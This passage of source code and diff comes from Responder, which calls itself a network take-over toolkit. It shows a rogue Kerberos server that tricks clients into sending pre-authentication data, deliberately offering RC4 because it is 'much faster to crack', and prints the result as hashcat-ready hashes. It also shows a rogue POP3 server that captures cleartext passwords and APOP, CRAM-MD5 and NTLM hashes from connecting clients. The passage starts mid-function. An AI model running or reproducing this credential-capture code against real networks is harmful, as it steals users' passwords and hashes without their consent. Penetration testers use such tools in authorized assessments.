name_len = data[i+1] if i+1 < len(data) else 0
if 1 < name_len < 30 and i + 2 + name_len <= len(data):
name = data[i+2:i+2+name_len].decode('latin-1', errors='ignore')
# Validate: printable, no control chars, looks like username
if (name and
name.isprintable() and
name.isascii() and
not any(c in name for c in ['\x00', '\n', '\r', '\t']) and
all(c.isalnum() or c in '.-_@' for c in name)):
return name
return "user"
except:
return "user"
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
EncType = Data[39:40]
def extract_realm(data):
"""Extract realm from AS-REQ - searches in req-body only"""
try:
# Look for [4] req-body tag first
req_body_offset = None
for i in range(len(data) - 100):
if data[i:i+1] == b'\xa4': # [4] req-body
req_body_offset = i
break
if req_body_offset is None:
return settings.Config.MachineName.upper()
# Search for realm AFTER req-body starts
search_start = req_body_offset + 10
search_end = min(search_start + 150, len(data) - 20)
for i in range(search_start, search_end):
# Look for GeneralString (0x1b) with reasonable length
if data[i:i+1] == b'\x1b':
realm_len = data[i+1] if i+1 < len(data) else 0
# Realm should be 5-50 chars (like "DOMAIN.LOCAL")
if 5 < realm_len < 50 and i + 2 + realm_len <= len(data):
realm = data[i+2:i+2+realm_len].decode('latin-1', errors='ignore')
# Validate: printable ASCII, contains dot, looks like domain
if (realm and
realm.isprintable() and
realm.isascii() and
'.' in realm and
realm.count('.') >= 1 and realm.count('.') <= 5 and
not any(c in realm for c in ['\x00', '\n', '\r', '\t', '/', ':', ' ']) and
all(c.isalnum() or c in '.-' for c in realm)):
return realm
return settings.Config.MachineName.upper()
except:
return settings.Config.MachineName.upper()
if MsgType == b'\x0a' and EncType == b'\x17':
if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
elif HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
return False
def find_msg_type(data):
"""Find Kerberos message type by parsing ASN.1 structure"""
try:
offset = 0
# Check APPLICATION tag
# [10] for AS-REQ (0x6a)
# [12] for TGS-REQ (0x6c)
if offset >= len(data):
return None, False, None, None
app_tag = data[offset]
if app_tag not in [0x6a, 0x6c]: # AS-REQ or TGS-REQ
return None, False, None, None
offset += 1
# Parse outer length
length, consumed = parse_asn1_length(data, offset)
if consumed == 0:
return None, False, None, None
offset += consumed
# SEQUENCE tag
if offset >= len(data) or data[offset] != 0x30:
return None, False, None, None
offset += 1
# Parse SEQUENCE length
seq_length, consumed = parse_asn1_length(data, offset)
if consumed == 0:
return None, False, None, None
offset += consumed
# [1] pvno
if offset >= len(data) or data[offset] != 0xa1:
return None, False, None, None
offset += 1
pvno_len, consumed = parse_asn1_length(data, offset)
offset += consumed + pvno_len
# [2] msg-type
if offset >= len(data) or data[offset] != 0xa2:
return None, False, None, None
offset += 1
msgtype_len, consumed = parse_asn1_length(data, offset)
offset += consumed
# INTEGER tag
if offset >= len(data) or data[offset] != 0x02:
return None, False, None, None
offset += 1
int_len, consumed = parse_asn1_length(data, offset)
offset += consumed
if offset >= len(data):
return None, False, None, None
msg_type = data[offset]
# Extract client name and realm for KRB-ERROR response
cname = extract_principal_name(data)
realm = extract_realm(data)
return msg_type, True, cname, realm
except:
return None, False, None, None
def extract_encrypted_timestamp(data):
"""
Extract encrypted timestamp from PA-ENC-TIMESTAMP in AS-REQ
Returns: (etype, cipher_hex) or (None, None)
"""
try:
# Look for PA-ENC-TIMESTAMP pattern: a1 03 02 01 02 (padata-type = 2)
for i in range(len(data) - 60):
# Look for the specific pattern that indicates PA-ENC-TIMESTAMP
if (i + 5 < len(data) and
data[i] == 0xa1 and data[i+1] == 0x03 and
data[i+2] == 0x02 and data[i+3] == 0x01 and
data[i+4] == 0x02): # padata-type = 2
# Now find [2] padata-value which should be right after
j = i + 5
if j < len(data) and data[j] == 0xa2: # [2] padata-value
j += 1
# Parse length of padata-value
pv_len, consumed = parse_asn1_length(data, j)
j += consumed
# Inside padata-value is OCTET STRING containing EncryptedData
if j < len(data) and data[j] == 0x04: # OCTET STRING
j += 1
octet_len, consumed = parse_asn1_length(data, j)
j += consumed
# Now we're inside EncryptedData SEQUENCE
if j < len(data) and data[j] == 0x30: # SEQUENCE
j += 1
seq_len, consumed = parse_asn1_length(data, j)
j += consumed
# Look for [0] etype
if j < len(data) and data[j] == 0xa0: # [0] etype
j += 1
etype_len, consumed = parse_asn1_length(data, j)
j += consumed
# INTEGER tag
if j < len(data) and data[j] == 0x02:
j += 1
int_len, consumed = parse_asn1_length(data, j)
j += consumed
etype = data[j] if j < len(data) else None
j += int_len
# Now look for [2] cipher (OCTET STRING)
if j < len(data) and data[j] == 0xa2: # [2] cipher
j += 1
cipher_tag_len, consumed = parse_asn1_length(data, j)
j += consumed
# OCTET STRING
if j < len(data) and data[j] == 0x04:
j += 1
cipher_len, consumed = parse_asn1_length(data, j)
j += consumed
if j + cipher_len <= len(data):
cipher = data[j:j+cipher_len]
cipher_hex = cipher.hex()
return etype, cipher_hex
return None, None
except Exception as e:
if settings.Config.Verbose:
print(text('[KERB] Error extracting timestamp: %s' % str(e)))
return None, None
def find_padata_and_etype(data):
"""
Search for PA-DATA and determine encryption type
Returns: (has_padata, etype) where etype is the encryption type number or None
"""
try:
# Look for [3] PA-DATA tag (0xa3)
for i in range(len(data) - 60):
if data[i:i+1] == b'\xa3':
# Found PA-DATA, now we need to check if it contains PA-ENC-TIMESTAMP
# Structure: [3] SEQUENCE OF { [1] padata-type, [2] padata-value }
# Look for [1] padata-type within next 30 bytes
has_pa_enc_timestamp = False
padata_value_offset = None
for j in range(i, min(i + 30, len(data) - 10)):
if data[j:j+1] == b'\xa1': # [1] padata-type
# Check if padata-type = 2 (PA-ENC-TIMESTAMP)
# Pattern: a1 03 02 01 02
if j + 4 < len(data) and data[j+1:j+5] == b'\x03\x02\x01\x02':
has_pa_enc_timestamp = True
# Next should be [2] padata-value
break
if not has_pa_enc_timestamp:
# PA-DATA exists but not PA-ENC-TIMESTAMP
# This is normal for first AS-REQ
return False, None
# Now look for [2] padata-value which contains EncryptedData
for j in range(i, min(i + 50, len(data) - 10)):
if data[j:j+1] == b'\xa2': # [2] padata-value
# Inside padata-value is EncryptedData
# Now look for [0] etype inside EncryptedData
for k in range(j, min(j + 30, len(data) - 5)):
if data[k:k+1] == b'\xa0': # [0] etype
# Pattern: a0 03 02 01 <etype>
if k + 4 < len(data) and data[k+1:k+3] == b'\x03\x02':
etype = data[k+4]
if settings.Config.Verbose:
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
print(text('[KERB] Found PA-ENC-TIMESTAMP with etype %d (%s)' % (etype, etype_name)))
return True, etype
# Found PA-DATA but couldn't determine etype
return True, None
return False, None
except:
return False, None
def build_krb_error(realm, cname, sname=None):
"""
Build KRB-ERROR response with PA-DATA for pre-authentication
KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
pvno[0] INTEGER (5),
msg-type[1] INTEGER (30),
ctime[2] KerberosTime OPTIONAL,
cusec[3] INTEGER OPTIONAL,
stime[4] KerberosTime,
susec[5] INTEGER,
error-code[6] INTEGER,
crealm[7] Realm OPTIONAL,
cname[8] PrincipalName OPTIONAL,
realm[9] Realm,
sname[10] PrincipalName,
e-text[11] GeneralString OPTIONAL,
e-data[12] OCTET STRING OPTIONAL
}
"""
# Get current time
current_time = time.time()
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
susec = int((current_time - int(current_time)) * 1000000)
# Build sname (server name) - krbtgt/REALM@REALM
if sname is None:
sname = 'krbtgt'
# Build the inner SEQUENCE
inner = b''
# [0] pvno: 5
inner += b'\xa0\x03\x02\x01\x05'
# [1] msg-type: 30 (KRB-ERROR)
inner += b'\xa1\x03\x02\x01\x1e'
# [4] stime (server time)
# KerberosTime is GeneralizedTime (tag 0x18)
time_bytes = time_str.encode('ascii')
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
# [5] susec (microseconds)
susec_bytes = struct.pack('>I', susec)
# Remove leading zeros
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
susec_bytes = susec_bytes[1:]
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
# [6] error-code: 25 (KDC_ERR_PREAUTH_REQUIRED)
inner += b'\xa6\x03\x02\x01\x19'
# [9] realm (server realm)
realm_bytes = realm.encode('ascii')
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
# [10] sname (server principal name)
# PrincipalName ::= SEQUENCE { name-type[0] Int32, name-string[1] SEQUENCE OF GeneralString }
sname_str = sname.encode('ascii')
realm_str = realm.encode('ascii')
# Build name-string SEQUENCE
name_string_seq = b''
# First component: service name (krbtgt)
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
# Second component: realm
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
# Wrap in SEQUENCE
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
# Build name-string [1]
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
# Build name-type [0] - type 2 (KRB_NT_SRV_INST)
name_type = b'\xa0\x03\x02\x01\x02'
# Build PrincipalName SEQUENCE
principal_seq = name_type + name_string_tagged
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
# Tag [10]
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
# [12] e-data (PA-DATA)
edata = build_pa_data(realm, cname)
inner += b'\xac' + encode_asn1_length(len(edata) + 2) + b'\x04' + encode_asn1_length(len(edata)) + edata
# Wrap in SEQUENCE
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
# Wrap in APPLICATION 30 tag
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
return krb_error
def build_pa_data(realm, cname):
"""
Build PA-DATA sequence for pre-authentication
PA-DATA ::= SEQUENCE {
padata-type[1] Int32,
padata-value[2] OCTET STRING
}
Returns SEQUENCE OF PA-DATA with:
- PA-ETYPE-INFO2 (19) - with RC4 first, then AES256
- PA-ENC-TIMESTAMP (2) - empty
- PA-PK-AS-REQ (16) - empty
- PA-PK-AS-REP-19 (15) - empty
"""
pa_data_list = b''
# 1. PA-ETYPE-INFO2 (type 19)
pa_etype_info2 = build_pa_etype_info2(realm, cname)
pa_data_list += build_single_pa_data(19, pa_etype_info2)
# 2. PA-ENC-TIMESTAMP (type 2) - empty padata-value
pa_data_list += build_single_pa_data(2, b'')
# 3. PA-PK-AS-REQ (type 16) - empty padata-value
pa_data_list += build_single_pa_data(16, b'')
# 4. PA-PK-AS-REP-19 (type 15) - empty padata-value
pa_data_list += build_single_pa_data(15, b'')
# Wrap in SEQUENCE
return b'\x30' + encode_asn1_length(len(pa_data_list)) + pa_data_list
def build_single_pa_data(padata_type, padata_value):
"""Build a single PA-DATA entry"""
inner = b''
# [1] padata-type
type_bytes = struct.pack('>I', padata_type)
# Remove leading zeros
while len(type_bytes) > 1 and type_bytes[0] == 0:
type_bytes = type_bytes[1:]
inner += b'\xa1\x03\x02\x01' + bytes([padata_type])
# [2] padata-value (OCTET STRING)
if len(padata_value) > 0:
inner += b'\xa2' + encode_asn1_length(len(padata_value) + 2) + b'\x04' + encode_asn1_length(len(padata_value)) + padata_value
else:
# Empty OCTET STRING
inner += b'\xa2\x02\x04\x00'
# Wrap in SEQUENCE
return b'\x30' + encode_asn1_length(len(inner)) + inner
def build_pa_etype_info2(realm, cname):
"""
Build PA-ETYPE-INFO2 structure
ETYPE-INFO2 ::= SEQUENCE OF ETYPE-INFO2-ENTRY
ETYPE-INFO2-ENTRY ::= SEQUENCE {
etype[0] Int32,
salt[1] GeneralString OPTIONAL,
s2kparams[2] OCTET STRING OPTIONAL
}
Returns entries for RC4 (etype 23) first, then AES256 (etype 18)
RC4 is preferred as it's much faster to crack
"""
# Build salt for AES: REALM + username (e.g., "SMB3.LOCALlgandx")
hostname = settings.Config.MachineName.lower()
salt_aes = realm + cname.lower()
salt_aes_bytes = salt_aes.encode('ascii')
entries = b''
# Entry 1: RC4-HMAC (etype 23 = 0x17)
# RC4 doesn't use salt in ETYPE-INFO2, only etype
inner_rc4 = b''
inner_rc4 += b'\xa0\x03\x02\x01\x17' # [0] etype: 23
# No salt field for RC4
entry_rc4 = b'\x30' + encode_asn1_length(len(inner_rc4)) + inner_rc4
entries += entry_rc4
# Entry 2: AES256 (etype 18 = 0x12)
inner_aes = b''
inner_aes += b'\xa0\x03\x02\x01\x12' # [0] etype: 18
inner_aes += b'\xa1' + encode_asn1_length(len(salt_aes_bytes) + 2) + b'\x1b' + encode_asn1_length(len(salt_aes_bytes)) + salt_aes_bytes
entry_aes = b'\x30' + encode_asn1_length(len(inner_aes)) + inner_aes
entries += entry_aes
# Wrap in SEQUENCE (ETYPE-INFO2 - SEQUENCE OF entries)
etype_info2 = b'\x30' + encode_asn1_length(len(entries)) + entries
return etype_info2
class KerbTCP(BaseRequestHandler):
"""Kerberos TCP handler (port 88)"""
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
n, krb, v, name, domain, d, h = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except:
pass
# TCP Kerberos uses 4-byte length prefix (Record Mark)
length_data = self.request.recv(4)
if len(length_data) < 4:
return
# Parse Record Mark (big-endian, high bit reserved)
msg_length = struct.unpack('>I', length_data)[0] & 0x7FFFFFFF
# Receive the Kerberos message
data = b''
while len(data) < msg_length:
chunk = self.request.recv(msg_length - len(data))
if not chunk:
return
data += chunk
# Parse Kerberos message
msg_type, valid, cname, realm = find_msg_type(data)
if not valid:
if settings.Config.Verbose:
print(text('[KERB] Invalid Kerberos message'))
return
if msg_type == 10: # AS-REQ
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
if has_padata and etype:
# Client sent pre-auth data - extract the encrypted timestamp
etype_num, cipher_hex = extract_encrypted_timestamp(data)
if etype_num and cipher_hex:
etype_name = ENCRYPTION_TYPES.get(bytes([etype_num]), 'unknown')
if settings.Config.Verbose:
print(text('[KERB] AS-REQ with PA-ENC-TIMESTAMP from %s@%s (etype: %s)' % (cname, realm, etype_name)))
# Build the hash in hashcat format
if etype_num == 0x17 or etype_num == 0x18: # RC4 (23 = 0x17, 24 = 0x18)
# RC4 format: $krb5pa$23$user$realm$dummy$hash
# Flip: last 36 bytes + first 16 bytes (per Responder's ParseMSKerbv5TCP)
if len(cipher_hex) >= 32:
first_16_bytes = cipher_hex[0:32] # First 16 bytes
rest = cipher_hex[32:] # Rest (36 bytes)
flipped_hash = rest + first_16_bytes
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, flipped_hash)
else:
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x12: # AES256 (18)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x11: # AES128 (17)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
else:
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'AS-REQ',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'hash': hash_value,
'fullhash': hash_value
})
# Print the hash
if settings.Config.Verbose:
print(text('[KERB] Use hashcat -m 7500 (etype %d): %s' % (etype_num, hash_value)))
else:
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:
print(text('[KERB] TGS-REQ from %s@%s (ignoring)' % (cname, realm)))
except Exception as e:
if settings.Config.Verbose:
print(text('[KERB] Error: %s' % str(e)))
class KerbUDP(BaseRequestHandler):
"""Kerberos UDP handler (port 88)"""
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except:
pass
data, socket_obj = self.request
# Parse Kerberos message
msg_type, valid, cname, realm = find_msg_type(data)
if not valid:
if settings.Config.Verbose:
print(text('[KERB] Invalid Kerberos message'))
return
if msg_type == 10: # AS-REQ
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
if has_padata and etype:
# Client sent pre-auth data - extract the encrypted timestamp
etype_num, cipher_hex = extract_encrypted_timestamp(data)
if etype_num and cipher_hex:
etype_name = ENCRYPTION_TYPES.get(bytes([etype_num]), 'unknown')
if settings.Config.Verbose:
print(text('[KERB] AS-REQ with PA-ENC-TIMESTAMP from %s@%s (etype: %s)' % (cname, realm, etype_name)))
# Build the hash in hashcat format
if etype_num == 0x17 or etype_num == 0x18: # RC4 (23 = 0x17, 24 = 0x18)
if len(cipher_hex) >= 32:
first_16_bytes = cipher_hex[0:32]
rest = cipher_hex[32:]
flipped_hash = rest + first_16_bytes
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, flipped_hash)
else:
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x12: # AES256 (18)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x11: # AES128 (17)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
else:
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'AS-REQ',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'hash': hash_value,
'fullhash': hash_value
})
# Print the hash
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
else:
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:
print(text('[KERB] TGS-REQ from %s@%s (ignoring)' % (cname, realm)))
except Exception as e:
if settings.Config.Verbose:
print(text('[KERB] Error: %s' % str(e)))

File diff suppressed because it is too large Load Diff

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,42 +15,440 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import base64
import hashlib
import codecs
import struct
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import POPOKPacket,POPNotOKPacket
from packets import POPOKPacket, POPNotOKPacket
# POP3 Server class
class POP3(BaseRequestHandler):
"""POP3 server with multiple authentication methods"""
def __init__(self, *args, **kwargs):
self.challenge = None
self.username = None
BaseRequestHandler.__init__(self, *args, **kwargs)
def generate_challenge(self):
"""Generate challenge for APOP and CRAM-MD5"""
import time
import random
timestamp = int(time.time())
random_data = random.randint(1000, 9999)
# APOP format: <process-id.clock@hostname>
self.challenge = "<%d.%d@%s>" % (random_data, timestamp, settings.Config.MachineName)
return self.challenge
def send_packet(self, packet):
"""Send a packet to client"""
self.request.send(NetworkSendBufferPython2or3(packet))
def send_ok(self, message=""):
"""Send +OK response"""
if message:
response = "+OK %s\r\n" % message
else:
response = "+OK\r\n"
self.request.send(response.encode('latin-1'))
def send_err(self, message=""):
"""Send -ERR response"""
if message:
response = "-ERR %s\r\n" % message
else:
response = "-ERR\r\n"
self.request.send(response.encode('latin-1'))
def send_continue(self, data=""):
"""Send continuation (+) response for multi-line auth"""
if data:
response = "+ %s\r\n" % data
else:
response = "+\r\n"
self.request.send(response.encode('latin-1'))
def handle_apop(self, data):
"""Handle APOP authentication (MD5 challenge-response)"""
# APOP username digest
# digest is MD5(challenge + password)
try:
parts = data.strip().split(b' ', 2)
if len(parts) < 3:
return False
username = parts[1].decode('latin-1')
digest = parts[2].decode('latin-1').lower()
# Format for hashcat/john: username:$apop$challenge$digest
hash_string = "%s:$apop$%s$%s" % (username, self.challenge, digest)
SaveToDb({
'module': 'POP3',
'type': 'APOP',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured APOP digest from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing APOP: %s' % str(e)))
return False
def handle_auth_plain(self, data):
"""Handle AUTH PLAIN (base64 encoded username/password)"""
try:
# AUTH PLAIN can be sent as:
# AUTH PLAIN <base64>
# or
# AUTH PLAIN
# <base64>
if len(data.strip().split(b' ')) > 2:
# Inline format
auth_data = data.strip().split(b' ', 2)[2]
else:
# Need to read next line
self.send_continue()
auth_data = self.request.recv(1024).strip()
# Decode base64
decoded = base64.b64decode(auth_data)
# Format: [authzid]\x00username\x00password
parts = decoded.split(b'\x00')
if len(parts) >= 3:
username = parts[1].decode('latin-1', errors='ignore')
password = parts[2].decode('latin-1', errors='ignore')
elif len(parts) == 2:
username = parts[0].decode('latin-1', errors='ignore')
password = parts[1].decode('latin-1', errors='ignore')
else:
return False
SaveToDb({
'module': 'POP3',
'type': 'AUTH-PLAIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured AUTH PLAIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing AUTH PLAIN: %s' % str(e)))
return False
def handle_auth_login(self, data):
"""Handle AUTH LOGIN (two-stage base64 authentication)"""
try:
# AUTH LOGIN is two-stage:
# Client: AUTH LOGIN
# Server: + VXNlcm5hbWU6 (base64 "Username:")
# Client: <base64 username>
# Server: + UGFzc3dvcmQ6 (base64 "Password:")
# Client: <base64 password>
# Send "Username:" prompt
self.send_continue(base64.b64encode(b"Username:").decode('latin-1'))
username_b64 = self.request.recv(1024).strip()
if not username_b64:
return False
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
# Send "Password:" prompt
self.send_continue(base64.b64encode(b"Password:").decode('latin-1'))
password_b64 = self.request.recv(1024).strip()
if not password_b64:
return False
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
SaveToDb({
'module': 'POP3',
'type': 'AUTH-LOGIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured AUTH LOGIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing AUTH LOGIN: %s' % str(e)))
return False
def handle_auth_cram_md5(self, data):
"""Handle AUTH CRAM-MD5 (challenge-response)"""
try:
# Generate challenge
import time
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
challenge_b64 = base64.b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64:
return False
response = base64.b64decode(response_b64).decode('latin-1', errors='ignore')
# Response format: username<space>digest
parts = response.split(' ', 1)
if len(parts) < 2:
return False
username = parts[0]
digest = parts[1].lower()
# Format for hashcat: $cram_md5$challenge$digest$username
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
SaveToDb({
'module': 'POP3',
'type': 'CRAM-MD5',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured CRAM-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing CRAM-MD5: %s' % str(e)))
return False
def handle_ntlm_auth(self, data):
"""Handle NTLM authentication"""
try:
# Check for NTLMSSP NEGOTIATE
if b'NTLMSSP\x00\x01' in data:
# Generate NTLM challenge
challenge = RandomChallenge()
# Build NTLMSSP CHALLENGE
ntlm_challenge = b'NTLMSSP\x00'
ntlm_challenge += struct.pack('<I', 2) # Type 2
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target name
ntlm_challenge += struct.pack('<I', 0x00008201) # Flags
ntlm_challenge += challenge # Server challenge
ntlm_challenge += b'\x00' * 8 # Reserved
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target info
# Send challenge (base64 encoded in continuation)
challenge_b64 = base64.b64encode(ntlm_challenge).decode('latin-1')
self.send_continue(challenge_b64)
# Receive NTLMSSP AUTH
auth_b64 = self.request.recv(2048).strip()
if not auth_b64 or auth_b64 == b'*':
return False
auth_data = base64.b64decode(auth_b64)
# Parse NTLMSSP AUTH
if auth_data[0:8] != b'NTLMSSP\x00':
return False
msg_type = struct.unpack('<I', auth_data[8:12])[0]
if msg_type != 3:
return False
# Parse fields
lm_len = struct.unpack('<H', auth_data[12:14])[0]
lm_offset = struct.unpack('<I', auth_data[16:20])[0]
ntlm_len = struct.unpack('<H', auth_data[20:22])[0]
ntlm_offset = struct.unpack('<I', auth_data[24:28])[0]
domain_len = struct.unpack('<H', auth_data[28:30])[0]
domain_offset = struct.unpack('<I', auth_data[32:36])[0]
user_len = struct.unpack('<H', auth_data[36:38])[0]
user_offset = struct.unpack('<I', auth_data[40:44])[0]
# Extract data
username = auth_data[user_offset:user_offset+user_len].decode('utf-16-le', errors='ignore')
domain = auth_data[domain_offset:domain_offset+domain_len].decode('utf-16-le', errors='ignore')
lm_hash = auth_data[lm_offset:lm_offset+lm_len]
ntlm_hash = auth_data[ntlm_offset:ntlm_offset+ntlm_len]
# Determine version
if ntlm_len == 24:
hash_type = "NTLMv1"
hash_string = "%s::%s:%s:%s:%s" % (
username, domain,
codecs.encode(lm_hash, 'hex').decode('latin-1'),
codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
codecs.encode(challenge, 'hex').decode('latin-1')
)
elif ntlm_len > 24:
hash_type = "NTLMv2"
hash_string = "%s::%s:%s:%s:%s" % (
username, domain,
codecs.encode(challenge, 'hex').decode('latin-1'),
codecs.encode(ntlm_hash[:16], 'hex').decode('latin-1'),
codecs.encode(ntlm_hash[16:], 'hex').decode('latin-1')
)
else:
return False
SaveToDb({
'module': 'POP3',
